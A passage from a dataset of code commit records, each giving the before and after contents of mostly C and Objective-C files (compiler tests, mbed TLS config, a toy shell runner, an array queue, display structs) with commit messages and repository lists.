al\/gpdb,chrishajas\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,yazun\/postgres-xl,snaga\/postgres-xl,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,cjcjameson\/gpdb,adam8157\/gpdb,arcivanov\/postgres-xl,ashwinstar\/gpdb,lintzc\/gpdb,arcivanov\/postgres-xl,yuanzhao\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,Chibin\/gpdb,Chibin\/gpdb,jmcatamney\/gpdb,kmjungersen\/PostgresXL,snaga\/postgres-xl,techdragon\/Postgres-XL,jmcatamney\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,cjcjameson\/gpdb,xinzweb\/gpdb,edespino\/gpdb,edespino\/gpdb,lintzc\/gpdb,tangp3\/gpdb,50wu\/gpdb,zaksoup\/gpdb,yazun\/postgres-xl,Chibin\/gpdb,royc1\/gpdb,xinzweb\/gpdb,xuegang\/gpdb,lisakowen\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,randomtask1155\/gpdb,foyzur\/gpdb,ashwinstar\/gpdb,royc1\/gpdb,foyzur\/gpdb,CraigHarris\/gpdb,tpostgres-projects\/tPostgres,0x0FFF\/gpdb,foyzur\/gpdb,oberstet\/postgres-xl,kaknikhil\/gpdb,snaga\/postgres-xl,snaga\/postgres-xl,randomtask1155\/gpdb,kmjungersen\/PostgresXL,Quikling\/gpdb,ahachete\/gpdb,Chibin\/gpdb,royc1\/gpdb,ovr\/postgres-xl,greenplum-db\/gpdb,0x0FFF\/gpdb,lisakowen\/gpdb,zeroae\/postgres-xl,Quikling\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,kmjungersen\/PostgresXL,zaksoup\/gpdb,techdragon\/Postgres-XL,atris\/gpdb,lintzc\/gpdb,atris\/gpdb,randomtask1155\/gpdb,rvs\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,xuegang\/gpdb,jmcatamney\/gpdb,postmind-net\/postgres-xl,kaknikhil\/gpdb,ahachete\/gpdb,xinzweb\/gpdb,50wu\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,tangp3\/gpdb,0x0FFF\/gpdb,janebeckman\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,postmind-net\/postgres-xl,ahachete\/gpdb,lisakowen\/gpdb,rvs\/gpdb,rubikloud\/gpdb,postmind-net\/postgres-xl,Quikling\/gpdb,arcivanov\/postgres-xl,Quikling\/gpdb,zaksoup\/gpdb,lintzc\/gpdb,tangp3\/gpdb,jmcatamney\/gpdb,tpostgres-projects\/tPostgres,50wu\/gpdb,zaksoup\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,xuegang\/gpdb,greenplum-db\/gpdb,tangp3\/gpdb,50wu\/gpdb,50wu\/gpdb,Chibin\/gpdb,janebeckman\/gpdb,postmind-net\/postgres-xl,xuegang\/gpdb,janebeckman\/gpdb,Quikling\/gpdb,oberstet\/postgres-xl,tpostgres-projects\/tPostgres,ahachete\/gpdb,Chibin\/gpdb,lpetrov-pivotal\/gpdb,Quikling\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,edespino\/gpdb,oberstet\/postgres-xl,atris\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,cjcjameson\/gpdb,lintzc\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,kaknikhil\/gpdb,ovr\/postgres-xl,ahachete\/gpdb,royc1\/gpdb,pavanvd\/postgres-xl,kaknikhil\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,rubikloud\/gpdb,Chibin\/gpdb,lisakowen\/gpdb,oberstet\/postgres-xl,cjcjameson\/gpdb,foyzur\/gpdb,kaknikhil\/gpdb,oberstet\/postgres-xl,atris\/gpdb,yuanzhao\/gpdb,zaksoup\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,zeroae\/postgres-xl,CraigHarris\/gpdb,tangp3\/gpdb,arcivanov\/postgres-xl,zaksoup\/gpdb,adam8157\/gpdb,CraigHarris\/gpdb,royc1\/gpdb,janebeckman\/gpdb,rvs\/gpdb,xuegang\/gpdb,adam8157\/gpdb,50wu\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,Postgres-XL\/Postgres-XL,yuanzhao\/gpdb,royc1\/gpdb,postmind-net\/postgres-xl,lisakowen\/gpdb,foyzur\/gpdb,CraigHarris\/gpdb,lpetrov-pivotal\/gpdb"}
{"commit":"49c893bd1e9f6e8bd808f517c37aaf053dcbea8b","old_file":"test\/CodeGen\/fp128_complex.c","new_file":"test\/CodeGen\/fp128_complex.c","old_contents":"\/\/ RUN: %clang -target aarch64-linux-gnuabi %s -O3 -S -emit-llvm -o - | FileCheck %s\n#include <complex.h>\n\ncomplex long double a, b, c, d;\nvoid test_fp128_compound_assign(void) {\n  \/\/ CHECK: tail call { fp128, fp128 } @__multc3\n  a *= b;\n  \/\/ CHECK: tail call { fp128, fp128 } @__divtc3\n  c \/= d;\n}\n","new_contents":"\/\/ RUN: %clang -target aarch64-linux-gnuabi %s -O3 -S -emit-llvm -o - | FileCheck %s\n\n_Complex long double a, b, c, d;\nvoid test_fp128_compound_assign(void) {\n  \/\/ CHECK: tail call { fp128, fp128 } @__multc3\n  a *= b;\n  \/\/ CHECK: tail call { fp128, fp128 } @__divtc3\n  c \/= d;\n}\n","subject":"Remove including <complex.h> in test case, and change to use _Complex instead.","message":"Remove including <complex.h> in test case, and change to use _Complex instead.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@220258 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"5ced8e4fdfa8fd781c0a39b29597762cedcedec6","old_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","new_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","old_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(MBEDTLS_CONFIG_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","new_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(DEVICE_RTC)\n#define MBEDTLS_HAVE_TIME_DATE\n#endif\n\n#if defined(MBEDTLS_CONFIG_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","subject":"Integrate mbed OS RTC with mbed TLS","message":"Integrate mbed OS RTC with mbed TLS\n\nThe integration is simply to define the macro MBEDTLS_HAVE_TIME_DATE\nin the features\/mbedtls\/platform\/inc\/platform_mbed.h. The default\nimplementation of the mbedtls_time() function provided by mbed TLS is\nsufficient to work with mbed OS because both use POSIX functions.\n","lang":"C","license":"apache-2.0","repos":"c1728p9\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,c1728p9\/mbed-os,betzw\/mbed-os,c1728p9\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os"}
{"commit":"7ab32e65bd6fb6d0cb0c475186fb4e3830f9fa82","old_file":"cell.h","new_file":"cell.h","old_contents":"#ifndef CELL_H\n#define CELL_H\n\n#include <map>\n#include <vector>\n\n#include \"number.h\"\n\nclass Cell {\npublic:\n    Cell();\n    explicit Cell(const Cell &rhs);\n    explicit Cell(Cell *value);\n    explicit Cell(bool value);\n    explicit Cell(Number value);\n    explicit Cell(const std::string &value);\n    explicit Cell(const char *value);\n    explicit Cell(const std::vector<Cell> &value);\n    explicit Cell(const std::map<std::string, Cell> &value);\n    Cell &operator=(const Cell &rhs);\n    bool operator==(const Cell &rhs) const;\n\n    Cell *address_value;\n    bool boolean_value;\n    Number number_value;\n    std::string string_value;\n    std::vector<Cell> array_value;\n    std::map<std::string, Cell> dictionary_value;\n};\n\n#endif\n","new_contents":"#ifndef CELL_H\n#define CELL_H\n\n#include <map>\n#include <vector>\n\n#include \"number.h\"\n\nclass Cell {\npublic:\n    Cell();\n    Cell(const Cell &rhs);\n    explicit Cell(Cell *value);\n    explicit Cell(bool value);\n    explicit Cell(Number value);\n    explicit Cell(const std::string &value);\n    explicit Cell(const char *value);\n    explicit Cell(const std::vector<Cell> &value);\n    explicit Cell(const std::map<std::string, Cell> &value);\n    Cell &operator=(const Cell &rhs);\n    bool operator==(const Cell &rhs) const;\n\n    Cell *address_value;\n    bool boolean_value;\n    Number number_value;\n    std::string string_value;\n    std::vector<Cell> array_value;\n    std::map<std::string, Cell> dictionary_value;\n};\n\n#endif\n","subject":"Remove 'explicit' on copy constructor","message":"Remove 'explicit' on copy constructor","lang":"C","license":"mit","repos":"ghewgill\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang"}
{"commit":"90209fa8998819f0379546da17e0f739424b8d56","old_file":"test\/testquazip.h","new_file":"test\/testquazip.h","old_contents":"#ifndef QUAZIP_TEST_QUAZIP_H\n#define QUAZIP_TEST_QUAZIP_H\n\n#include <QObject>\n\nclass TestQuaZip: public QObject {\n    Q_OBJECT\nprivate slots:\n    void getFileList_data();\n    void getFileList();\n    void getZip();\n};\n\n#endif \/\/ QUAZIP_TEST_QUAZIP_H\n","new_contents":"#ifndef QUAZIP_TEST_QUAZIP_H\n#define QUAZIP_TEST_QUAZIP_H\n\n#include <QObject>\n\nclass TestQuaZip: public QObject {\n    Q_OBJECT\nprivate slots:\n    void getFileList_data();\n    void getFileList();\n};\n\n#endif \/\/ QUAZIP_TEST_QUAZIP_H\n","subject":"Remove getZip() which got there by mistake","message":"Remove getZip() which got there by mistake\n\ngit-svn-id: 8ee2d06cc183b55da409a55e9abc82a01a576498@113 bf82bb6f-4128-0410-aed8-a7a134390cb4\n","lang":"C","license":"lgpl-2.1","repos":"comargo\/QuaZIP,slopjong\/QuaZIP,slopjong\/QuaZIP,comargo\/QuaZIP"}
{"commit":"349c1d995eeede38b604a3284d0761d3c571c280","old_file":"src\/fake-lock-screen-pattern.h","new_file":"src\/fake-lock-screen-pattern.h","old_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\ntypedef struct _FakeLockOption {\n  void *module;\n  gchar *real;\n  gchar *dummy;\n} FakeLockOption;\n\ntypedef struct {\n  gboolean marked;\n  gint value;\n  GdkPoint top_left;\n  GdkPoint bottom_right;\n} FakeLockPatternPoint;\n\ntypedef enum {\n  FLSP_ONE_STROKE,\n  FLSP_ON_BOARD,\n  FLSP_N_PATTERN,\n} FakeLockScreenPattern;\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\ngboolean is_marked(gint x, gint y,\n                   gint *marked, void *user_data);\n\n#endif\n","new_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\ntypedef struct _FakeLockOption {\n  void *module;\n  gchar *real;\n  gchar *dummy;\n} FakeLockOption;\n\ntypedef struct {\n  gint mark;\n  gint value;\n  GdkPoint top_left;\n  GdkPoint bottom_right;\n} FakeLockPatternPoint;\n\ntypedef enum {\n  FLSP_ONE_STROKE,\n  FLSP_ON_BOARD,\n  FLSP_N_PATTERN,\n} FakeLockScreenPattern;\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\ngboolean is_marked(gint x, gint y,\n                   gint *marked, void *user_data);\n\n#endif\n","subject":"Use gint to store index","message":"Use gint to store index\n","lang":"C","license":"mit","repos":"kenhys\/fake-lock-screen-pattern,kenhys\/fake-lock-screen-pattern"}
{"commit":"42ce77eef9b32dd518d8f35f98f176950d2ef53a","old_file":"utils\/commander.c","new_file":"utils\/commander.c","old_contents":"","new_contents":"#ifndef _WISH_COMMANDER\n#define _WISH_COMMANDER\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <sys\/wait.h>\n\nchar *exit_color;\n\nint execute(char *path, char *arg_arr[]) {\n    int pid;\n    if (!(pid = fork())) {\n        execvp(path, arg_arr);\n        \/\/ This is only reached if the execvp function fails\n        exit(-1);\n    } else {\n        int status;\n        wait(&status);\n        return status;\n    }\n}\n\nint get_and_run_userin() {\n    char buff[256];\n    fgets(buff, sizeof(buff), stdin);\n\n    \/\/ Buff will have space-separated command line arguments, then a newline,\n    \/\/ then a terminating null. We can use strsep to get rid of the newline.\n    \/\/ Since fgets will terminate on the first newline, we can be certain there\n    \/\/ is no next command after it\n\n    char *ptr_to_buff = buff;\n    char *command = strsep(&ptr_to_buff, \"\\n\");\n    \/\/ Blank lines should just return 0, since a blank command doesn't 'crash'\n    if (!(*command)) {\n        return 0;\n    }\n    int num_args = 1;\n    int i; for (i = 0; command[i]; i++) {\n        if (command[i] == ' ') num_args++;\n    }\n    char *args[num_args + 1];\n    for (i = 0; i < num_args; i++) {\n        args[i] = strsep(&command, \" \");\n    }\n    args[num_args] = NULL;\n\n    return execute(args[0], args);\n}\n\n#endif\n\n","subject":"Add file to handle executing commands from stdin","message":"Add file to handle executing commands from stdin\n","lang":"C","license":"mit","repos":"elc1798\/wish"}
{"commit":"5b7bc8baba35bc816c7dc94768d9fae05c7b78ec","old_file":"zephyr\/shim\/include\/zephyr_host_command.h","new_file":"zephyr\/shim\/include\/zephyr_host_command.h","old_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#if !defined(__CROS_EC_HOST_COMMAND_H) || \\\n\tdefined(__CROS_EC_ZEPHYR_HOST_COMMAND_H)\n#error \"This file must only be included from host_command.h. \" \\\n\t\"Include host_command.h directly\"\n#endif\n#define __CROS_EC_ZEPHYR_HOST_COMMAND_H\n\n#include <init.h>\n\n#ifdef CONFIG_PLATFORM_EC_HOSTCMD\n\n\/**\n * See include\/host_command.h for documentation.\n *\/\n#define DECLARE_HOST_COMMAND(_command, _routine, _version_mask)            \\\n\tSTRUCT_SECTION_ITERABLE(host_command, _cros_hcmd_##_command) = {   \\\n\t\t.command = _command,                                       \\\n\t\t.handler = _routine,                                       \\\n\t\t.version_mask = _version_mask,                             \\\n\t}\n#else \/* !CONFIG_PLATFORM_EC_HOSTCMD *\/\n#ifdef __clang__\n#define DECLARE_HOST_COMMAND(command, routine, version_mask)\n#else\n#define DECLARE_HOST_COMMAND(command, routine, version_mask)         \\\n\tenum ec_status (routine)(struct host_cmd_handler_args *args) \\\n\t\t__attribute__((unused))\n#endif \/* __clang__ *\/\n#endif \/* CONFIG_PLATFORM_EC_HOSTCMD *\/\n","new_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#if !defined(__CROS_EC_HOST_COMMAND_H) || \\\n\tdefined(__CROS_EC_ZEPHYR_HOST_COMMAND_H)\n#error \"This file must only be included from host_command.h. \" \\\n\t\"Include host_command.h directly\"\n#endif\n#define __CROS_EC_ZEPHYR_HOST_COMMAND_H\n\n#include <init.h>\n\n#ifdef CONFIG_PLATFORM_EC_HOSTCMD\n\n\/**\n * See include\/host_command.h for documentation.\n *\/\n#define DECLARE_HOST_COMMAND(_command, _routine, _version_mask)            \\\n\tSTRUCT_SECTION_ITERABLE(host_command, _cros_hcmd_##_command) = {   \\\n\t\t.command = _command,                                       \\\n\t\t.handler = _routine,                                       \\\n\t\t.version_mask = _version_mask,                             \\\n\t}\n#else \/* !CONFIG_PLATFORM_EC_HOSTCMD *\/\n\n\/*\n * Create a fake routine to call the function. The linker should\n * garbage-collect it since it is behind 'if (0)'\n *\/\n#define DECLARE_HOST_COMMAND(command, routine, version_mask)\t\t\\\n\tint __remove_ ## command(void)\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\\\n\t\tif (0)\t\t\t\t\t\t\t\\\n\t\t\troutine(NULL);\t\t\t\t\t\\\n\t\treturn 0;\t\t\t\t\t\t\\\n\t}\n\n#endif \/* CONFIG_PLATFORM_EC_HOSTCMD *\/\n","subject":"Use a different way of handling no host commands","message":"zephyr: Use a different way of handling no host commands\n\nWhen CONFIG_PLATFORM_EC_HOSTCMD is not enabled we want to silently drop\nthe handler routines from the build. The current approach works for gcc\nbut not for clang.\n\nUse an exported function instead.\n\nBUG=b:208648337\nBRANCH=none\nTEST=CQ and gitlab\n\nSigned-off-by: Simon Glass <c00b0378376498bd9cd974c388df8854c0131d27@chromium.org>\nChange-Id: I63f74e8081556c726472782f60bddbbfbc3e9bf0\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/3313320\nReviewed-by: Jeremy Bettis <4df7b5147fee087dca33c181f288ee7dbf56e022@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"f6a808e5190055af32abe8060bbe7d4ab2d5d6d4","old_file":"Nocilla\/LSNocilla.h","new_file":"Nocilla\/LSNocilla.h","old_contents":"#import <Foundation\/Foundation.h>\n#import \"Nocilla.h\"\n#import \"LSHTTPRequest.h\"\n\n@class LSStubRequest;\n@class LSStubResponse;\n\nextern NSString * const LSUnexpectedRequest;\n\n@interface LSNocilla : NSObject\n+ (LSNocilla *)sharedInstance;\n\n@property (nonatomic, strong, readonly) NSArray *stubbedRequests;\n- (void)start;\n- (void)stop;\n- (void)addStubbedRequest:(LSStubRequest *)request;\n- (void)clearStubs;\n\n- (LSStubResponse *)responseForRequest:(id<LSHTTPRequest>)request;\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n#import \"Nocilla.h\"\n\n@class LSStubRequest;\n@class LSStubResponse;\n@protocol LSHTTPRequest;\n\nextern NSString * const LSUnexpectedRequest;\n\n@interface LSNocilla : NSObject\n+ (LSNocilla *)sharedInstance;\n\n@property (nonatomic, strong, readonly) NSArray *stubbedRequests;\n- (void)start;\n- (void)stop;\n- (void)addStubbedRequest:(LSStubRequest *)request;\n- (void)clearStubs;\n\n- (LSStubResponse *)responseForRequest:(id<LSHTTPRequest>)request;\n@end\n","subject":"Replace import with forward declaration.","message":"Replace import with forward declaration.\n","lang":"C","license":"mit","repos":"pcantrell\/Nocilla,ileitch\/Nocilla,luisobo\/Nocilla,0xmax\/Nocilla,patcheng\/Nocilla,tomguthrie\/Nocilla,Panajev\/Nocilla,luxe-eng\/valet-ios.Nocilla,SanjoDeundiak\/Nocilla,TheAdamBorek\/Nocilla,luxe-eng\/valet-ios.Nocilla,0xmax\/Nocilla,TheAdamBorek\/Nocilla"}
{"commit":"f42bb8f845e08da0982a5b8c1c57374ddffdc0b3","old_file":"Queue\/array_queue.c","new_file":"Queue\/array_queue.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n\/* This is Queue Implementation using Array *\/\n\n#define MAXSIZE 101\n#define BOOL_PRINT(bool_expr) \"%s\\n\", (bool_expr) ? \"true\" : \"false\"\n\nint A[MAXSIZE];\nint front_q = -1;\nint end_q = -1;\n\nvoid enq(int data){\n\n\tif(isEmpty()){\n\t\tA[++end_q]=data;\n\t\tfront_q ++;\n\t\treturn;\n\t}\n\tif (end_q < MAXSIZE-1){\n\t\tA[++end_q] = data;\n\t}\n\telse{\n\t\tprintf(\"Error: Queue is full \\n\");\n\t\treturn;\n\t}\n}\n\nint deq(){\n\tif(front_q != -1 && front_q <= end_q){\n\treturn A[front_q++];\n\t}\n\n\telse{\n\t\tprintf(\"Error: Queue is empty \\n\");\n\t\treturn -1;\n\t}\n}\n\n\n\nint isEmpty(){\n\tif(front_q!= -1) return false;\n\telse return true;\n}\n\nvoid q_print(){\n\tprintf(\"Queue is : \");\n\tint i,data;\n\tint count =end_q;\n\tint start = front_q;\n\n\tfor(i =start; i<=count;i++){\n\t\t data = deq();\n\t\tprintf(\"%d \", data);\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(){\n\t\n\tint i;\n\tprintf(\"is queue empty? \\n\");\n\tprintf(BOOL_PRINT(isEmpty()));\n\t\n\tenq(10);\n\tprintf(\"front_q is at %d end_q is at %d \\n\",front_q,end_q);\n\n\tenq(11);\n\tprintf(\"front_q is at %d end_q is at %d \\n\",front_q,end_q);\n\tenq(12);\n\tprintf(\"front_q is at %d end_q is at %d \\n\",front_q,end_q);\n\tenq(15);\n\tprintf(\"front_q is at %d end_q is at %d \\n\",front_q,end_q);\n\n\ti = deq();\n\tprintf(\"Popped data is %d\\n\",i );\n\n\tprintf(\"front_q is at %d end_q is at %d \\n\",front_q,end_q);\n\n\tq_print(); \/\/ Note: this is just for vizualizing and this actually results in loss of queue data\n\n\treturn 0;\n}","subject":"Add array implementation of queue","message":"Add array implementation of queue\n","lang":"C","license":"mit","repos":"anaghajoshi\/C_DataStructures_Algorithms"}
{"commit":"14870a46f26f2586a29731508842e04ac48cc5ca","old_file":"display_device.h","new_file":"display_device.h","old_contents":"","new_contents":"\/*\tCopyright (c) 2013 Adam Dej\n\t\n\tPermission is hereby granted, free of charge, to any person obtaining a copy\n\tof this software and associated documentation files (the \"Software\"), to deal\n\tin the Software without restriction, including without limitation the rights\n\tto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\tcopies of the Software, and to permit persons to whom the Software is\n\tfurnished to do so, subject to the following conditions:\n\n\tThe above copyright notice and this permission notice shall be included in\n\tall copies or substantial portions of the Software.\n\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\tIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\tFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\tAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\tLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\tOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\tTHE SOFTWARE. *\/\n\n#ifndef __DISPLAY_DEVICE_H\n#define __DISPLAY_DEVICE_H\n\n#include <stdint.h>\n#include <stdbool.h>\n\n#ifdef EMBDEGFX_16\n\ttypedef uint16_t uintpix;\n#else\n\ttypedef uint8_t uintpix;\n#endif\n\ntypedef struct {\n\tvoid *data;\n\tbool (*set_pixel)(uintpix x, uintpix y, void *data);\n\tbool (*unset_pixel)(uintpix x, uintpix y, void *data);\n\tbool (*clear_display)(void *data);\n\tbool (*commit)(void *data);\n} DISPLAY_1BIT;\n\ntypedef struct {\n\t\/\/TODO\n} DISPLAY_8BIT;\n\ntypedef struct {\n\t\/\/TODO\n} DISPLAY_24BIT;\n\n\/\/If none of those modes is suitable feel free to add your own\n\n#endif","subject":"Add header with structs representing basic display types","message":"Add header with structs representing basic display types\n","lang":"C","license":"mit","repos":"adam-dej\/embegfx,adam-dej\/embegfx,adam-dej\/embegfx"}
{"commit":"ad24240e3d614bf8c10199590571a48ac3debc6e","old_file":"test\/profile\/instrprof-basic.c","new_file":"test\/profile\/instrprof-basic.c","old_contents":"\/\/ RUN: %clang_profgen -o %t -O3 -flto  %s\n\/\/ RUN: env LLVM_PROFILE_FILE=%t.profraw %t\n\/\/ RUN: llvm-profdata merge -o %t.profdata %t.profraw\n\/\/ RUN: %clang_profuse=%t.profdata -o - -S -emit-llvm %s | FileCheck %s\n\nint main(int argc, const char *argv[]) {\n  \/\/ CHECK: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof !1\n  if (argc)\n    return 0;\n  return 1;\n}\n\/\/ CHECK: !1 = metadata !{metadata !\"branch_weights\", i32 2, i32 1}\n","new_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=%t.profraw %t\n\/\/ RUN: llvm-profdata merge -o %t.profdata %t.profraw\n\/\/ RUN: %clang_profuse=%t.profdata -o - -S -emit-llvm %s | FileCheck %s\n\nint main(int argc, const char *argv[]) {\n  \/\/ CHECK: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof !1\n  if (argc)\n    return 0;\n  return 1;\n}\n\/\/ CHECK: !1 = metadata !{metadata !\"branch_weights\", i32 2, i32 1}\n","subject":"Remove LTO dependency from test","message":"InstrProf: Remove LTO dependency from test\n\nThe -flto flag relies on linker features that are not available on all\nplatforms.\n\n<rdar:\/\/problem\/16458307>\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@205318 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"ee12c53b52716c08c50bf0c64b644c9af5be10de","old_file":"SAMCategories\/SAMCategories.h","new_file":"SAMCategories\/SAMCategories.h","old_contents":"\/\/\n\/\/  SAMCategories.h\n\/\/  SAMCategories\n\/\/\n\/\/  Created by Sam Soffes on 7\/17\/13.\n\/\/  Copyright 2013 Sam Soffes. All rights reserved.\n\/\/\n\n\/\/ Foundation\n#import \"NSArray+SAMAdditions.h\"\n#import \"NSData+SAMAdditions.h\"\n#import \"NSDate+SAMAdditions.h\"\n#import \"NSDictionary+SAMAdditions.h\"\n#import \"NSNumber+SAMAdditions.h\"\n#import \"NSObject+SAMAdditions.h\"\n#import \"NSString+SAMAdditions.h\"\n#import \"NSURL+SAMAdditions.h\"\n\n\/\/ UIKit\n#if TARGET_OS_IPHONE\n\t#import \"UIApplication+SAMAdditions.h\"\n\t#import \"UIColor+SAMAdditions.h\"\n\t#import \"UIDevice+SAMAdditions.h\"\n\t#import \"UIScreen+SAMAdditions.h\"\n\t#import \"UIScrollView+SAMAdditions.h\"\n\t#import \"UIView+SAMAdditions.h\"\n\t#import \"UIViewController+SAMAdditions.h\"\n#endif\n","new_contents":"\/\/\n\/\/  SAMCategories.h\n\/\/  SAMCategories\n\/\/\n\/\/  Created by Sam Soffes on 7\/17\/13.\n\/\/  Copyright 2013 Sam Soffes. All rights reserved.\n\/\/\n\n\/\/ Foundation\n#import \"NSArray+SAMAdditions.h\"\n#import \"NSData+SAMAdditions.h\"\n#import \"NSDate+SAMAdditions.h\"\n#import \"NSDictionary+SAMAdditions.h\"\n#import \"NSNumber+SAMAdditions.h\"\n#import \"NSObject+SAMAdditions.h\"\n#import 